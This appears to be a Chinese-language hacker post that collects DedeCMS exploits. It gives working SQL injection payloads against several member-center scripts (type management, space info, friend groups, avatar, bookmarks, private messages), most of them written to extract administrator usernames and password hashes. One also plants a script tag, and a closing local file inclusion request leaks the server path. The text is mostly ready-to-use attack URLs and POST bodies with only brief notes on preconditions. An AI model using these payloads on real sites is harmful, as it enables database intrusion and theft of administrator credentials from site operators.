DedeCMS 漏洞集合

DedeCMS会员中心分类管理SQL注射

需要magic_quotes_gpc = Off,所以说是鸡肋啊.

发生在数组key里的注射漏洞,有点意思.

这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下

http://www.1990day.com/member/mtypes.php?dopost=save

exploit:

mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r

mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r

-------------------------------------------------------------------------------

DedeCMS会员中心空间管理SQL注射

DedeCMS会员中心空间管理SQL注射0day漏洞,成功利用该漏洞可获得管理员密码.
需要能使用引号.危害也不大,直接发漏洞利用代码:
漏洞参数 oldspacelogo SQL注射
http://www.1990day.com/member/edit_space_info.php?dopost=save&pagesize=120&oldspacelogo=/de/uploads/userup/3/eee.jpg%27and%20@%60%27%60,spacelogo=%28select%20concat%28userid,0x3a,pwd,database()%29%20from%20%60%23@__admin%60%20limit%201%29,spacename='<script>alert(999)</script>',sign=%27c4rp3nt3r

-------------------------------------------------------------------------------

DedeCMS会员中心好友分组设置SQL注射漏洞

需要magic_quotes_gpc = Off
DedeCMS会员中心好友分组设置SQL注射0day漏洞,成功利用该漏洞可获得管理员密码
都发出来吧,这种东西也算什么漏洞阿.其实对dedecms来说POST的数据同样可以GET提交,只是隐蔽点.
利用代码如下:
Exploit:
http://www.1990day.com/de/member/myfriend_group.php?dopost=add
POST
groupname=fffrrr'and @`'` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (version())),1,62)))a from information_schema.tables group by a)b) and '

-------------------------------------------------------------------------------

DedeCMS会员中心头像修改SQL注射漏洞

DedeCMS会员中心头像修改SQL注射0day漏洞
同样需要 magic_quotes_gpc = Off ,成功利用此漏洞可获得管理员密码
漏洞参数 oldspacelogo SQL注射
http://www.1990day.com/de/member/edit_face.php?dopost=save&oldface=/de/uploads/userup/3/eee.jpg%27and%20@%60%27%60,face=%28select%20concat%28userid,0x3a,pwd%29%20from%20%60%23@__admin%60%20limit%201%29,joinip='1

-------------------------------------------------------------------------------

DedeCMS会员中心书签管理SQL注射

DedeCMS会员中心SQL注射漏洞
需要magic_quotes_gpc = Off
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
DedeCMS会员中心书签管理SQL注射漏洞
成功利用该漏洞可获得管理员密码
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
http://www.1990day.com/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r

-------------------------------------------------------------------------------

DedeCMS会员中心短消息SQL注射

需要:magic_quotes_gpc = Off
DedeCMS会员中心短消息SQL注射漏洞,成功利用此漏洞可获得管理员密码等
看到微博上有人提了下,偶也发鸡肋了.
http://www.1990day.com/de/member/pm.php?dopost=read&id=1%27%20and%20@%60%27%60%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27

-------------------------------------------------------------------------------
dedecms 5.x 本地文件包含漏洞导致泄露物理路径
漏洞测试示例：
http://网站/plus/carbuyaction.php?dopost=return&code=../../tags
上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。